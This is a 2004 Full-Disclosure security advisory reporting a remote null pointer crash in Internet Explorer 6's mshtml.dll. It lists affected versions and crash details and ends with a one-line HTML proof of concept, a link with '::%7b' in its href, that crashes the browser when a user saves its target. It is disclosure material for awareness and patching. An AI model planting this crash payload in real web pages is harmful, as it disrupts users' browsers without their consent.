[Full-Disclosure] Internet Explorer Remote Null Pointer Crash(mshtml.dll)

From: Rafel Ivgi, The-Insider (theinsider_at_012.net.il)
Date: 06/14/04

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    To: "vulnwatch" <vulnwatch@vulnwatch.org>
    Date: Mon, 14 Jun 2004 23:20:33 +0200
    
    

    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

    Application: Internet Explorer
    Vendors: http://www.microsoft.com
    Versions: 6.0.2800.1106.xpclnt_qfe.021108-2107
    Patched With: SP1;Q832894;Q330994;Q837009;Q831167;
    ModName: mshtml.dll
    ModVer: 6.0.2734.1600
    Platforms: Windows
    Bug: Remote/Local Null Pointer Crash
    Exploitation: Remote with browser
    Date: 14 Jun 2004
    Author: Rafel Ivgi, The-Insider
    e-mail: the_insider@mail.com
    web: http://theinsider.deep-ice.com

    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

    1) Introduction
    2) Bugs
    3) The Code

    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

    ===============
    1) Introduction
    ===============

    Internet Explorer is currently the most common internet browser in the
    world.
    It comes by default with every windows operating system. Therefore any
    vulnerability
    concerning it is an highly important issue.

    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

    ======
    2) Bug
    ======

    Upon clicking "Save As" on a link with double colon --> "::"
    and
    a left curly bracket --> "{"
    then
    Internet Explorer Will Crash.

    AppName: iexplore.exe AppVer: 6.0.2600.0 ModName: ntdll.dll
    ModVer: 5.1.2600.114 Offset: 00056074

    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

    ===========
    3) The Code
    ===========

    Paste into an htm/html file:
    <center><a href=::%7b>Right Click aOn Me And Click "Save Target As"</a>

    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

    ---
    Rafel Ivgi, The-Insider
    http://theinsider.deep-ice.com

    "Scripts and Codes will make me D.O.S , but they will never HACK me."

    _______________________________________________
    Full-Disclosure - We believe in it.
    Charter: http://lists.netsys.com/full-disclosure-charter.html


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